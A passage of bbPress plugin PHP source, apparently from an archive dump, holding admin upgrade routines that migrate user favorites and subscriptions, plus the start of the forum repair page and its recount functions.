		return array( 2, sprintf( $statement, esc_html__( 'Failed!', 'bbpress' ) ) );
	}

	// Stash the last results
	$results = $bbp_db->last_result;

	// Update each group forum
	foreach ( $results as $group_forums ) {

		// Only update if is a converted forum
		if ( empty( $group_forums->meta_value ) ) {
			continue;
		}

		// Attempt to update group meta
		$updated = $bbp_db->query( "UPDATE `{$groups_meta_table}` SET `meta_value` = '{$group_forums->ID}' WHERE `meta_key` = 'forum_id' AND `meta_value` = '{$group_forums->meta_value}'" );

		// Bump the count
		if ( ! empty( $updated ) && ! is_wp_error( $updated ) ) {
			++$g_count;
		}

		// Update group to forum relationship data
		$group_id = (int) $bbp_db->get_var( "SELECT `group_id` FROM `{$groups_meta_table}` WHERE `meta_key` = 'forum_id' AND `meta_value` = '{$group_forums->ID}'" );
		if ( ! empty( $group_id ) ) {

			// Update the group to forum meta connection in forums
			update_post_meta( $group_forums->ID, '_bbp_group_ids', array( $group_id ) );

			// Get the group status
			$group_status = $bbp_db->get_var( "SELECT `status` FROM `{$groups_table}` WHERE `id` = '{$group_id}'" );

			// Sync up forum visibility based on group status
			switch ( $group_status ) {

				// Public groups have public forums
				case 'public' :
					bbp_publicize_forum( $group_forums->ID );

					// Bump the count for output later
					++$s_count;
					break;

				// Private/hidden groups have hidden forums
				case 'private' :
				case 'hidden'  :
					bbp_hide_forum( $group_forums->ID );

					// Bump the count for output later
					++$s_count;
					break;
			}

			// Bump the count for output later
			++$f_count;
		}
	}

	// Make some logical guesses at the old group root forum
	if ( function_exists( 'bp_forums_parent_forum_id' ) ) {
		$old_default_forum_id = bp_forums_parent_forum_id();
	} elseif ( defined( 'BP_FORUMS_PARENT_FORUM_ID' ) ) {
		$old_default_forum_id = (int) BP_FORUMS_PARENT_FORUM_ID;
	} else {
		$old_default_forum_id = 1;
	}

	// Try to get the group root forum
	$posts = get_posts( array(
		'post_type'   => bbp_get_forum_post_type(),
		'meta_key'    => '_bbp_old_forum_id',
		'meta_type'   => 'NUMERIC',
		'meta_value'  => $old_default_forum_id,
		'numberposts' => 1
	) );

	// Found the group root forum
	if ( ! empty( $posts ) ) {

		// Rename 'Default Forum'  since it's now visible in sitewide forums
		if ( 'Default Forum' === $posts[0]->post_title ) {
			wp_update_post( array(
				'ID'         => $posts[0]->ID,
				'post_title' => esc_html__( 'Group Forums', 'bbpress' ),
				'post_name'  => esc_html__( 'group-forums', 'bbpress' ),
			) );
		}

		// Update the group forums root metadata
		update_option( '_bbp_group_forums_root_id', $posts[0]->ID );
	}

	// Remove old bbPress 1.1 roles (BuddyPress)
	remove_role( 'member'    );
	remove_role( 'inactive'  );
	remove_role( 'blocked'   );
	remove_role( 'moderator' );
	remove_role( 'keymaster' );

	// Complete results
	$result = sprintf( esc_html__( 'Complete! %s groups updated; %s forums updated; %s forum statuses synced.', 'bbpress' ), bbp_number_format( $g_count ), bbp_number_format( $f_count ), bbp_number_format( $s_count ) );
	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Upgrade user favorites for bbPress 2.6 and higher
 *
 * @since 2.6.0 bbPress (r6174)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_upgrade_user_favorites() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Upgrading user favorites&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'No favorites to upgrade.',            'bbpress' );
	$total     = 0;
	$old_key   = $bbp_db->prefix . '_bbp_favorites';
	$new_key   = '_bbp_favorite';

	// Results
	$query     = "SELECT * FROM {$bbp_db->usermeta} WHERE meta_key = %s";
	$prepare   = $bbp_db->prepare( $query, $old_key );
	$favs      = $bbp_db->get_results( $prepare );

	// Bail if no closed topics found
	if ( empty( $favs ) || is_wp_error( $favs ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Loop through each user's favorites
	foreach ( $favs as $meta ) {

		// Get post IDs
		$post_ids = explode( ',', $meta->meta_value );

		// Add user ID to all favorited posts
		foreach ( $post_ids as $post_id ) {

			// Skip if already exists
			if ( $bbp_db->get_var( $bbp_db->prepare( "SELECT COUNT(*) FROM {$bbp_db->postmeta} WHERE post_id = %d AND meta_key = %s AND meta_value = %s", $post_id, $new_key, $meta->user_id ) ) ) {
				continue;
			}

			// Add the post meta
			$added = add_post_meta( $post_id, $new_key, $meta->user_id, false );

			// Bump counts if successfully added
			if ( ! empty( $added ) ) {
				++$total;
			}
		}
	}

	// Cleanup
	unset( $favs, $added, $post_ids );

	// Complete results
	$result = sprintf( _n( 'Complete! %d favorite upgraded.', 'Complete! %d favorites upgraded.', $total, 'bbpress' ), bbp_number_format( $total ) );

	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Upgrade user topic subscriptions for bbPress 2.6 and higher
 *
 * @since 2.6.0 bbPress (r6174)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_upgrade_user_topic_subscriptions() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Upgrading user topic subscriptions&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'No topic subscriptions to upgrade.',            'bbpress' );
	$total     = 0;
	$old_key   = $bbp_db->prefix . '_bbp_subscriptions';
	$new_key   = '_bbp_subscription';

	// Results
	$query     = "SELECT * FROM {$bbp_db->usermeta} WHERE meta_key = %s ORDER BY user_id";
	$prepare   = $bbp_db->prepare( $query, $old_key );
	$subs      = $bbp_db->get_results( $prepare );

	// Bail if no topic subscriptions found
	if ( empty( $subs ) || is_wp_error( $subs ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Loop through each user's topic subscriptions
	foreach ( $subs as $meta ) {

		// Get post IDs
		$post_ids = explode( ',', $meta->meta_value );

		// Add user ID to all subscribed topics
		foreach ( $post_ids as $post_id ) {

			// Skip if already exists
			if ( $bbp_db->get_var( $bbp_db->prepare( "SELECT COUNT(*) FROM {$bbp_db->postmeta} WHERE post_id = %d AND meta_key = %s AND meta_value = %s", $post_id, $new_key, $meta->user_id ) ) ) {
				continue;
			}

			// Add the post meta
			$added = add_post_meta( $post_id, $new_key, $meta->user_id, false );

			// Bump counts if successfully added
			if ( ! empty( $added ) ) {
				++$total;
			}
		}
	}

	// Cleanup
	unset( $subs, $added, $post_ids );

	// Complete results
	$result = sprintf( _n( 'Complete! %d topic subscription upgraded.', 'Complete! %d topic subscriptions upgraded.', $total, 'bbpress' ), bbp_number_format( $total ) );

	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Upgrade user forum subscriptions for bbPress 2.6 and higher
 *
 * @since 2.6.0 bbPress (r6193)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_upgrade_user_forum_subscriptions() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Upgrading user forum subscriptions&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'No forum subscriptions to upgrade.',            'bbpress' );
	$total     = 0;
	$old_key   = $bbp_db->prefix . '_bbp_forum_subscriptions';
	$new_key   = '_bbp_subscription';

	// Results
	$query     = "SELECT * FROM {$bbp_db->usermeta} WHERE meta_key = %s ORDER BY user_id";
	$prepare   = $bbp_db->prepare( $query, $old_key );
	$subs      = $bbp_db->get_results( $prepare );

	// Bail if no forum subscriptions found
	if ( empty( $subs ) || is_wp_error( $subs ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Loop through each user's forum subscriptions
	foreach ( $subs as $meta ) {

		// Get post IDs
		$post_ids = explode( ',', $meta->meta_value );

		// Add user ID to all subscribed forums
		foreach ( $post_ids as $post_id ) {

			// Skip if already exists
			if ( $bbp_db->get_var( $bbp_db->prepare( "SELECT COUNT(*) FROM {$bbp_db->postmeta} WHERE post_id = %d AND meta_key = %s AND meta_value = %s", $post_id, $new_key, $meta->user_id ) ) ) {
				continue;
			}

			// Add the post meta
			$added = add_post_meta( $post_id, $new_key, $meta->user_id, false );

			// Bump counts if successfully added
			if ( ! empty( $added ) ) {
				++$total;
			}
		}
	}

	// Cleanup
	unset( $subs, $added, $post_ids );

	// Complete results
	$result = sprintf( _n( 'Complete! %d forum subscription upgraded.', 'Complete! %d forum subscriptions upgraded.', $total, 'bbpress' ), bbp_number_format( $total ) );

	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Remove favorites data from user meta for bbPress 2.6 and higher
 *
 * @since 2.6.0 bbPress (r6281)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_upgrade_remove_favorites_from_usermeta() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Remove favorites from usermeta&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'No favorites to remove.',                   'bbpress' );
	$total     = 0;
	$key       = $bbp_db->prefix . '_bbp_favorites';

	// Results
	$query     = "SELECT * FROM {$bbp_db->usermeta} WHERE meta_key = %s ORDER BY user_id";
	$prepare   = $bbp_db->prepare( $query, $key );
	$favs      = $bbp_db->get_results( $prepare );

	// Bail if no favorites found
	if ( empty( $favs ) || is_wp_error( $favs ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Delete all user-meta with this key
	delete_metadata( 'user', false, $key, false, true );
	$total = count( $favs );

	// Complete results
	$result = sprintf( _n( 'Complete! %d favorite deleted.', 'Complete! %d favorites deleted.', $total, 'bbpress' ), bbp_number_format( $total ) );

	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Remove topic subscriptions data from user meta for bbPress 2.6 and higher
 *
 * @since 2.6.0 bbPress (r6281)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_upgrade_remove_topic_subscriptions_from_usermeta() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Remove topic subscriptions from usermeta&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'No topic subscriptions to remove.',                   'bbpress' );
	$total     = 0;
	$key       = $bbp_db->prefix . '_bbp_subscriptions';

	// Results
	$query     = "SELECT * FROM {$bbp_db->usermeta} WHERE meta_key = %s ORDER BY user_id";
	$prepare   = $bbp_db->prepare( $query, $key );
	$subs      = $bbp_db->get_results( $prepare );

	// Bail if no forum favorites found
	if ( empty( $subs ) || is_wp_error( $subs ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Delete all user-meta with this key
	delete_metadata( 'user', false, $key, false, true );
	$total = count( $subs );

	// Complete results
	$result = sprintf( _n( 'Complete! %d topic subscription deleted.', 'Complete! %d topic subscriptions deleted.', $total, 'bbpress' ), bbp_number_format( $total ) );

	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Remove topic subscriptions data from user meta for bbPress 2.6 and higher
 *
 * @since 2.6.0 bbPress (r6281)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_upgrade_remove_forum_subscriptions_from_usermeta() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Remove forum subscriptions from usermeta&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'No forum subscriptions to remove.',                   'bbpress' );
	$total     = 0;
	$key       = $bbp_db->prefix . '_bbp_forum_subscriptions';

	// Query
	$query     = "SELECT * FROM {$bbp_db->usermeta} WHERE meta_key = %s ORDER BY user_id";
	$prepare   = $bbp_db->prepare( $query, $key );
	$subs      = $bbp_db->get_results( $prepare );

	// Bail if no forum favorites found
	if ( empty( $subs ) || is_wp_error( $subs ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Delete all user-meta with this key
	delete_metadata( 'user', false, $key, false, true );
	$total = count( $subs );

	// Complete results
	$result = sprintf( _n( 'Complete! %d forum subscription deleted.', 'Complete! %d forum subscriptions deleted.', $total, 'bbpress' ), bbp_number_format( $total ) );

	return array( 0, sprintf( $statement, $result ) );
}
includes/admin/tools/repair.php000066600000133512151771460310012613 0ustar00<?php

/**
 * bbPress Admin Repair Page
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Admin repair page
 *
 * @since 2.0.0 bbPress (r2613) Converted from bbPress 1.2
 * @since 2.6.0 bbPress (r5885) Upgraded to list-table UI
 *
 * @todo Use a real list table
 *
 */
function bbp_admin_repair_page() {

	// Get the registered repair tools
	$tools = bbp_admin_repair_list();

	// Orderby
	$orderby = ! empty( $_GET['orderby'] )
		? sanitize_key( $_GET['orderby'] )
		: 'priority';

	// Order
	$order = ! empty( $_GET['order'] ) && in_array( strtolower( $_GET['order'] ), array( 'asc', 'desc' ), true )
		? strtolower( $_GET['order'] )
		: 'asc';

	// New order
	$new_order = ( 'desc' === $order )
		? 'asc'
		: 'desc'; ?>

	<div class="wrap">
		<h1 class="wp-heading-inline"><?php esc_html_e( 'Forum Tools', 'bbpress' ); ?></h1>
		<hr class="wp-header-end">
		<h2 class="nav-tab-wrapper"><?php bbp_tools_admin_tabs( 'bbp-repair' ); ?></h2>

		<p><?php esc_html_e( 'bbPress keeps track of relationships between forums, topics, replies, topic-tags, favorites, subscriptions, and users. Occasionally these relationships become out of sync, most often after an import or migration. Use the tools below to manually recalculate these relationships.', 'bbpress' ); ?></p>
		<p class="description"><?php esc_html_e( 'Some of these tools create substantial database overhead. Use caution when running more than 1 repair at a time.', 'bbpress' ); ?></p>

		<?php bbp_admin_repair_tool_status_filters(); ?>

		<form class="settings" method="get" action="">

			<?php bbp_admin_repair_list_search_form(); ?>

			<input type="hidden" name="page" value="bbp-repair" />
			<?php wp_nonce_field( 'bbpress-do-counts' ); ?>

			<div class="tablenav top">
				<div class="alignleft actions bulkactions">
					<label for="bulk-action-selector-top" class="screen-reader-text"><?php esc_html_e( 'Select bulk action', 'bbpress' ); ?></label>
					<select name="action" id="bulk-action-selector-top">
						<option value="" selected="selected"><?php esc_html_e( 'Bulk Actions', 'bbpress' ); ?></option>
						<option value="run" class="hide-if-no-js"><?php esc_html_e( 'Run', 'bbpress' ); ?></option>
					</select>
					<input type="submit" id="doaction" class="button action" value="<?php esc_attr_e( 'Apply', 'bbpress' ); ?>">
				</div>
				<div class="alignleft actions">

					<?php bbp_admin_repair_list_components_filter(); ?>

					<input type="submit" name="filter_action" id="components-submit" class="button" value="<?php esc_html_e( 'Filter', 'bbpress' ); ?>">
				</div>
				<br class="clear">
			</div>
			<table class="wp-list-table widefat striped posts">
				<thead>
					<tr>
						<td id="cb" class="manage-column column-cb check-column">
							<label class="screen-reader-text" for="cb-select-all-1">
								<?php esc_html_e( 'Select All', 'bbpress' ); ?>
							</label>
							<input id="cb-select-all-1" type="checkbox">
						</td>
						<th scope="col" id="description" class="manage-column column-primary column-description sortable <?php echo ( 'priority' === $orderby ) ? esc_attr( $order ) : 'asc'; ?>">
							<a href="<?php echo esc_url( bbp_get_admin_repair_tool_page_url( array(
									'orderby' => 'priority',
									'order'   => $new_order
								) ) ); ?>"><span><?php esc_html_e( 'Description', 'bbpress' ); ?></span><span class="sorting-indicator"></span>
							</a>
						</th>
						<th scope="col" id="components" class="manage-column column-components">
							<span><?php esc_html_e( 'Components', 'bbpress' ); ?></span>
						</th>
						<th scope="col" id="overhead" class="manage-column column-overhead sortable <?php echo ( 'overhead' === $orderby ) ? esc_attr( $order ) : 'asc'; ?>">
							<a href="<?php echo esc_url( bbp_get_admin_repair_tool_page_url( array(
									'orderby' => 'overhead',
									'order'   => $new_order
								) ) ); ?>"><span><?php esc_html_e( 'Overhead', 'bbpress' ); ?></span><span class="sorting-indicator"></span>
							</a>
						</th>
					</tr>
				</thead>

				<tbody id="the-list">

					<?php if ( ! empty( $tools ) ) : ?>

						<?php foreach ( $tools as $item ) : ?>

							<tr id="bbp-repair-tools" class="inactive">
								<th scope="row" class="check-column">
									<label class="screen-reader-text" for="<?php echo esc_attr( str_replace( '_', '-', $item['id'] ) ); ?>"></label>
									<input type="checkbox" name="checked[]" value="<?php echo esc_attr( $item['id'] ); ?>" id="<?php echo esc_attr( str_replace( '_', '-', $item['id'] ) ); ?>">
								</th>
								<td class="bbp-tool-title column-primary column-description" data-colname="<?php esc_html_e( 'Description', 'bbpress' ); ?>">
									<strong><?php echo esc_html( $item['title'] ); ?></strong><?php

										// Optional description
										if ( ! empty( $item['description'] ) ) :
											echo '<p class="description">' . esc_html( $item['description'] ) . '</p>';
										endif;

									?><div class="row-actions hide-if-no-js">
										<span class="run">
											<a href="<?php bbp_admin_repair_tool_run_url( $item ); ?>" aria-label="<?php printf( esc_html__( 'Run %s', 'bbpress' ), $item['title'] ); ?>" id="<?php echo esc_attr( $item['id'] ); ?>" ><?php esc_html_e( 'Run', 'bbpress' ); ?></a>
										</span>
									</div>
									<button type="button" class="toggle-row">
										<span class="screen-reader-text"><?php esc_html_e( 'Show more details', 'bbpress' ); ?></span>
									</button>
								</td>
								<td class="column-components desc" data-colname="<?php esc_html_e( 'Components', 'bbpress' ); ?>">
									<div class="bbp-tool-overhead">

										<?php echo implode( ', ', bbp_get_admin_repair_tool_components( $item ) ); ?>

									</div>
								</td>
								<td class="column-overhead desc" data-colname="<?php esc_html_e( 'Overhead', 'bbpress' ); ?>">
									<div class="bbp-tool-overhead">

										<?php echo implode( ', ', bbp_get_admin_repair_tool_overhead( $item ) ); ?>

									</div>
								</td>
							</tr>

						<?php endforeach; ?>

					<?php else : ?>

						<tr>
							<td colspan="4">
								<?php esc_html_e( 'No repair tools match this criteria.', 'bbpress' ); ?>
							</td>
						</tr>

					<?php endif; ?>

				</tbody>
				<tfoot>
					<tr>
						<td class="manage-column column-cb check-column">
							<label class="screen-reader-text" for="cb-select-all-2">
								<?php esc_html_e( 'Select All', 'bbpress' ); ?>
							</label>
							<input id="cb-select-all-2" type="checkbox">
						</td>
						<th scope="col" class="manage-column column-primary column-description"><?php esc_html_e( 'Description', 'bbpress' ); ?></th>
						<th scope="col" class="manage-column column-components"><?php esc_html_e( 'Components', 'bbpress' ); ?></th>
						<th scope="col" class="manage-column column-overhead"><?php esc_html_e( 'Overhead', 'bbpress' ); ?></th>
					</tr>
				</tfoot>
			</table>
			<div class="tablenav bottom">
				<div class="alignleft actions bulkactions">
					<label for="bulk-action-selector-bottom" class="screen-reader-text"><?php esc_html_e( 'Select bulk action', 'bbpress' ); ?></label>
					<select name="action2" id="bulk-action-selector-bottom">
						<option value="" selected="selected"><?php esc_html_e( 'Bulk Actions', 'bbpress' ); ?></option>
						<option value="run" class="hide-if-no-js"><?php esc_html_e( 'Run', 'bbpress' ); ?></option>
					</select>
					<input type="submit" id="doaction2" class="button action" value="<?php esc_attr_e( 'Apply', 'bbpress' ); ?>">
				</div>
			</div>
		</form>
	</div>

<?php
}

/**
 * Recount topic replies
 *
 * @since 2.0.0 bbPress (r2613)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_topic_reply_count() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Counting the number of replies in each topic&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	// Post types and status
	$tpt = bbp_get_topic_post_type();
	$rpt = bbp_get_reply_post_type();
	$pps = bbp_get_public_status_id();
	$cps = bbp_get_closed_status_id();

	// Delete the meta key _bbp_reply_count for each topic
	$sql_delete = "DELETE `postmeta` FROM `{$bbp_db->postmeta}` AS `postmeta`
						LEFT JOIN `{$bbp_db->posts}` AS `posts` ON `posts`.`ID` = `postmeta`.`post_id`
						WHERE `posts`.`post_type` = '{$tpt}'
						AND `postmeta`.`meta_key` = '_bbp_reply_count'";

	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Recalculate the meta key _bbp_reply_count for each topic
	$sql = "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`) (
			SELECT `topics`.`ID` AS `post_id`, '_bbp_reply_count' AS `meta_key`, COUNT(`replies`.`ID`) As `meta_value`
				FROM `{$bbp_db->posts}` AS `topics`
					LEFT JOIN `{$bbp_db->posts}` as `replies`
						ON  `replies`.`post_parent` = `topics`.`ID`
						AND `replies`.`post_status` = '{$pps}'
						AND `replies`.`post_type`   = '{$rpt}'
				WHERE `topics`.`post_type` = '{$tpt}'
					AND `topics`.`post_status` IN ( '{$pps}', '{$cps}' )
				GROUP BY `topics`.`ID`)";

	if ( is_wp_error( $bbp_db->query( $sql ) ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recount topic voices
 *
 * @since 2.0.0 bbPress (r2613)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_topic_voice_count() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Counting the number of voices in each topic&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	$sql_delete = "DELETE FROM {$bbp_db->postmeta} WHERE meta_key IN ('_bbp_voice_count', '_bbp_engagement')";
	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Post types and status
	$tpt = bbp_get_topic_post_type();
	$rpt = bbp_get_reply_post_type();
	$pps = bbp_get_public_status_id();
	$cps = bbp_get_closed_status_id();

	$engagements_sql = $bbp_db->prepare( "INSERT INTO {$bbp_db->postmeta} (post_id, meta_key, meta_value) (
		SELECT postmeta.meta_value, '_bbp_engagement', posts.post_author
			FROM {$bbp_db->posts} AS posts
			LEFT JOIN {$bbp_db->postmeta} AS postmeta
				ON posts.ID = postmeta.post_id
				AND postmeta.meta_key = '_bbp_topic_id'
			WHERE posts.post_type IN (%s, %s)
				AND posts.post_status IN (%s, %s)
			GROUP BY postmeta.meta_value, posts.post_author)", $tpt, $rpt, $pps, $cps );

	if ( is_wp_error( $bbp_db->query( $engagements_sql ) ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	$voice_count_sql = "INSERT INTO {$bbp_db->postmeta} (post_id, meta_key, meta_value) (
		SELECT post_id, '_bbp_voice_count', COUNT(DISTINCT meta_value)
			FROM {$bbp_db->postmeta}
			WHERE meta_key = '_bbp_engagement'
			GROUP BY post_id)";

	if ( is_wp_error( $bbp_db->query( $voice_count_sql ) ) ) {
		return array( 3, sprintf( $statement, $result ) );
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recount non-public replies per topic (pending/spammed/trashed)
 *
 * @since 2.0.0 bbPress (r2747)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_topic_hidden_reply_count() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Counting the number of pending, spammed, and trashed replies in each topic&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	$sql_delete = "DELETE FROM `{$bbp_db->postmeta}` WHERE `meta_key` = '_bbp_reply_count_hidden'";
	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Post types and status
	$rpt = bbp_get_reply_post_type();
	$sta = bbp_get_non_public_topic_statuses();

	// SQL
	$sql_status = "'" . implode( "','", $sta ) . "'";

	$sql = "INSERT INTO `{$bbp_db->postmeta}` (`post_id`, `meta_key`, `meta_value`) (SELECT `post_parent`, '_bbp_reply_count_hidden', COUNT(`post_status`) as `meta_value` FROM `{$bbp_db->posts}` WHERE `post_type` = '{$rpt}' AND `post_status` IN ({$sql_status}) GROUP BY `post_parent`)";
	if ( is_wp_error( $bbp_db->query( $sql ) ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recount forum topics
 *
 * @since 2.0.0 bbPress (r2613)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_forum_topic_count() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Counting the number of topics in each forum&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	$sql_delete = "DELETE FROM {$bbp_db->postmeta} WHERE meta_key IN ( '_bbp_topic_count', '_bbp_total_topic_count', '_bbp_topic_count_hidden' )";
	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	$forums = get_posts( array( 'post_type' => bbp_get_forum_post_type(), 'numberposts' => -1 ) );
	if ( ! empty( $forums ) ) {
		foreach ( $forums as $forum ) {
			bbp_update_forum_topic_count( $forum->ID );
			bbp_update_forum_topic_count_hidden( $forum->ID );
		}
	} else {
		return array( 2, sprintf( $statement, $result ) );
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recount topic in each topic-tag
 *
 * @since 2.6.0 bbPress (r6256)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_topic_tag_count() {

	// Define variables
	$statement = esc_html__( 'Counting the number of topics in each topic-tag&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );
	$tax_id    = bbp_get_topic_tag_tax_id();
	$terms     = get_terms( $tax_id, array( 'hide_empty' => false ) );
	$tt_ids    = wp_list_pluck( $terms, 'term_taxonomy_id' );
	$ints      = array_map( 'intval', $tt_ids );
	$taxonomy  = get_taxonomy( $tax_id );

	// Bail if taxonomy does not exist
	if ( empty( $taxonomy ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Custom callback
	if ( ! empty( $taxonomy->update_count_callback ) ) {

		// Bail if callback is not callable
		if ( ! is_callable( $taxonomy->update_count_callback ) ) {
			return array( 1, sprintf( $statement, $result ) );
		}

		call_user_func( $taxonomy->update_count_callback, $ints, $taxonomy );

	// Generic callback fallback
	} else {
		_update_post_term_count( $ints, $taxonomy );
	}

	// Bust the cache
	clean_term_cache( $ints, '', false );

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recount forum replies
 *
 * @since 2.0.0 bbPress (r2613)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_forum_reply_count() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Counting the number of replies in each forum&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	// Post type
	$fpt = bbp_get_forum_post_type();

	// Delete the meta keys _bbp_reply_count and _bbp_total_reply_count for each forum
	$sql_delete = "DELETE `postmeta` FROM `{$bbp_db->postmeta}` AS `postmeta`
						LEFT JOIN `{$bbp_db->posts}` AS `posts` ON `posts`.`ID` = `postmeta`.`post_id`
						WHERE `posts`.`post_type` = '{$fpt}'
						AND `postmeta`.`meta_key` = '_bbp_reply_count'
						OR `postmeta`.`meta_key` = '_bbp_total_reply_count'";

	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Recalculate the metas key _bbp_reply_count and _bbp_total_reply_count for each forum
	$forums = get_posts( array( 'post_type' => bbp_get_forum_post_type(), 'numberposts' => -1 ) );
	if ( ! empty( $forums ) ) {
		foreach ( $forums as $forum ) {
			bbp_update_forum_reply_count( $forum->ID );
		}
	} else {
		return array( 2, sprintf( $statement, $result ) );
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recount non-public forum replies
 *
 * @since 2.6.0 bbPress (r6922)
 * @since 2.6.0 bbPress (r6932) Rename to match the topic reply recount function
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_forum_hidden_reply_count() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Counting the number of pending, spammed, and trashed replies in each forum&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'Failed!', 'bbpress' );

	// Post type
	$fpt = bbp_get_forum_post_type();

	// Delete the meta keys _bbp_reply_count and _bbp_total_reply_count for each forum
	$sql_delete = "DELETE `postmeta` FROM `{$bbp_db->postmeta}` AS `postmeta`
						LEFT JOIN `{$bbp_db->posts}` AS `posts` ON `posts`.`ID` = `postmeta`.`post_id`
						WHERE `posts`.`post_type` = '{$fpt}'
						AND `postmeta`.`meta_key` = '_bbp_reply_count_hidden'
						OR `postmeta`.`meta_key` = '_bbp_total_reply_count_hidden'";

	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Recalculate the metas key _bbp_reply_count and _bbp_total_reply_count for each forum
	$forums = get_posts( array( 'post_type' => bbp_get_forum_post_type(), 'numberposts' => -1 ) );
	if ( ! empty( $forums ) ) {
		foreach ( $forums as $forum ) {
			bbp_update_forum_reply_count_hidden( $forum->ID );
		}
	} else {
		return array( 2, sprintf( $statement, $result ) );
	}

	return array( 0, sprintf( $statement, esc_html__( 'Complete!', 'bbpress' ) ) );
}

/**
 * Recount topics by the users
 *
 * @since 2.1.0 bbPress (r3889)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_repair_user_topic_count() {

	// Define variables
	$bbp_db      = bbp_db();
	$statement   = esc_html__( 'Counting the number of topics each user has created&hellip; %s', 'bbpress' );
	$result      = esc_html__( 'Failed!', 'bbpress' );

	$sql_select  = "SELECT `post_author`, COUNT(DISTINCT `ID`) as `_count` FROM `{$bbp_db->posts}` WHERE `post_type` = '" . bbp_get_topic_post_type() . "' AND `post_status` = '" . bbp_get_public_status_id() . "' GROUP BY `post_author`";
	$insert_rows = $bbp_db->get_results( $sql_select );

	if ( is_wp_error( $insert_rows ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	$key           = $bbp_db->prefix . '_bbp_topic_count';
	$insert_values = array();
	foreach ( $insert_rows as $insert_row ) {
		$insert_values[] = "('{$insert_row->post_author}', '{$key}', '{$insert_row->_count}')";
	}

	if ( !count( $insert_values ) ) {
		return array( 2, sprintf( $statement, $result ) );
	}

	$sql_delete = "DELETE FROM `{$bbp_db->usermeta}` WHERE `meta_key` = '{$key}'";
